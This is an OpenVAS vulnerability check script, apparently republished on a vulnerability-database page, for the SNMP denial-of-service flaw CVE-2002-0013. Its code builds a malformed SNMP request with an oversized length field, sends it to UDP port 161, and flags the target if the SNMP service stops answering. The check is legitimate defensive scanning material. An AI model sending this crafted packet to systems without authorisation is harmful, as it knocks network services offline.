SNMP DoS Vulnerability (CVE-2002-0013) - Active Check
🗓️ 11 Nov 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType
openvas🔗 plugins.openvas.org👁 37 Views
10
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.147134");
script_version("2023-08-10T05:05:53+0000");
script_tag(name:"last_modification", value:"2023-08-10 05:05:53 +0000 (Thu, 10 Aug 2023)");
script_tag(name:"creation_date", value:"2021-11-11 04:30:59 +0000 (Thu, 11 Nov 2021)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2002-0013");
script_tag(name:"qod_type", value:"remote_probe");
script_tag(name:"solution_type", value:"VendorFix");
script_name("SNMP DoS Vulnerability (CVE-2002-0013) - Active Check");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2021 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_snmp_info_collect.nasl");
script_mandatory_keys("SNMP/sysdescr/available");
script_require_udp_ports("Services/udp/snmp", 161);
script_tag(name:"summary", value:"Multiple implementations of SNMP are prone to a denial of
service (DoS) and/or privilege escalation vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted SNMP request and checks afterwards if the
remote service doesn't respond to a SNMP sysDescr request anymore.
Note: For a successful detection the remote SNMP service either needs to accept a default 'public'
SNMPv1 / SNMPv2c community or a valid one needs to be given in the credentials configuration of
the scanning task.");
script_tag(name:"insight", value:"Vulnerabilities in the SNMPv1 request handling of a large
number of SNMP implementations allow remote attackers to cause a denial of service or gain
privileges via GetRequest, GetNextRequest and SetRequest messages, as demonstrated by the
PROTOS c06-SNMPv1 test suite.");
script_tag(name:"solution", value:"Contact your vendor for updates.");
script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/854306");
script_xref(name:"URL", value:"https://web.archive.org/web/20201022233623/https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c06-snmpv1");
script_xref(name:"URL", value:"https://www.giac.org/paper/gcih/332/widespread-snmp-vulnerabilities/101067");
exit(0);
}
include("snmp_func.inc");
port = snmp_get_port(default: 161);
community = snmp_get_community(port: port);
if (!community || community == "")
exit(0);
if (snmp_v12c_sysdescr_accessible(port: port, community: community)) {
size = strlen(community);
sz = size % 256;
data = raw_string(0x30, 0x2b, 0x02, 0x01, 0x00, 0x04, sz) +
community +
raw_string(0xa0, 0x1e, 0x02, 0x02, 0x04,
0xba, 0x02, 0x01, 0x00, 0x02, 0x01,
0x00, 0x30, 0x12, 0x30, 0x10, 0x06,
0x08, 0x2b, 0x06, 0x01, 0x02, 0x01,
0x01, 0x05, 0x00, 0x05, 0x84, 0xff,
0xff, 0xff, 0xff);
soc = open_sock_udp(port);
if (!soc)
exit(0);
send(socket: soc, data: data);
close(soc);
if (!snmp_v12c_sysdescr_accessible(port: port, community: community)) {
report = 'The SNMP service did not response anymore after sending a packet with an oversized ' +
'length field.';
security_message(port: port, data: report, proto: "udp");
exit(0);
}
exit(99);
}
exit(0);Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2023 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 210
EPSS0.51126